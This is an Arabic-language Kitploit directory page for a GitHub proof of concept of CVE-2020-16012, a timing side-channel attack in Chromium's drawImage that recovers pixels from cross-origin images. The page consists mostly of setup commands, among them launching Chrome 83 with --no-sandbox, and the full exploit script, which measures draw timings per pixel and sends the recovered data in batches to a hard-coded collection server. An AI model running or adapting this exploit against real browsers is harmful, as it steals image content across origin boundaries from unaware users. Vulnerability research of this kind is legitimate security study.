Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-16012-PoC — إثبات المفهوم لـ CVE-2020-16012: هجوم قناة جانبية يستعيد بيانات البكسل من الصور عبر الأصل باستخدام قياسات التوقيت في واجهة drawImage في متصفح Chromium. | Kitploit
أدوات/GitHubGitHub/helidem/cve-2020-16012-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويبالتشفير
GitHubhelidem/cve-2020-16012-poc

CVE-2020-16012-PoC

إثبات المفهوم لـ CVE-2020-16012: هجوم قناة جانبية يستعيد بيانات البكسل من الصور عبر الأصل باستخدام قياسات التوقيت في واجهة drawImage في متصفح Chromium.

عرض المستودع
2منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مشروع M2 - هجوم القناة الجانبية

العميل

كروم الإصدار 83

رابط التثبيت

https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/

أمر التشغيل

root@kitploit:~
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html

الخادم

تثبيت حزم بايثون

root@kitploit:~
cd code/server
pip install -r requirements.txt

تشغيل الخادم

يتم تشغيله على المنفذ 7000 على localhost.

root@kitploit:~
python3 server.py

المخرجات

سيتم إنشاء صورة output/img1.png عند الضغط على "Ctrl+C" لإيقاف الخادم.

السكربت

root@kitploit:~
<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Taille du lot pour l'envoi
  
  // URL de base du serveur
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Fonction pour envoyer les données RGB à un serveur via POST (méthode individuelle)
async function sendPixelData(x, y, rgb) {
  // Envoie les données RGB au serveur distant
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Fonction pour envoyer un lot de pixels
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Envoi d'un lot de ${pixelBatch.length} pixels`);
}

// Fonction pour sauvegarder l'image sur le serveur
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Image sauvegardée: ${data.path}`, true);
          // Optionnellement, afficher l'image sauvegardée
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Erreur: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Erreur de connexion: ${error.message}`, false);
  }
}

// Fonction pour afficher les messages de statut
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Masquer le message après 5 secondes
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
   immediately, but only after the JavaScript thread stops. we wait
   on a timeout with a duration of zero to give the browser a chance
   to do the drawing, as otherwise we'd just be measuring the time
   taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initialisation...";

/* the first couple of measurements are always higher
   than they're supposed to be because some interpreter
   optimizations haven't kicked in yet, so we "warm up"
   the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Récupération en cours...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Ajouter le pixel au batch courant
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Mettre à jour l'indicateur de progression
    document.getElementById('progress-info').textContent = 
        `Progression: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // Si le batch atteint la taille limite, l'envoyer
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Copie du batch pour éviter les problèmes de référence
      currentBatch = []; // Réinitialiser le batch
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Envoyer le dernier batch s'il reste des pixels
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Récupération terminée!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Désactiver le bouton de sauvegarde jusqu'à ce que la récupération soit terminée
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>
تنزيل الأداة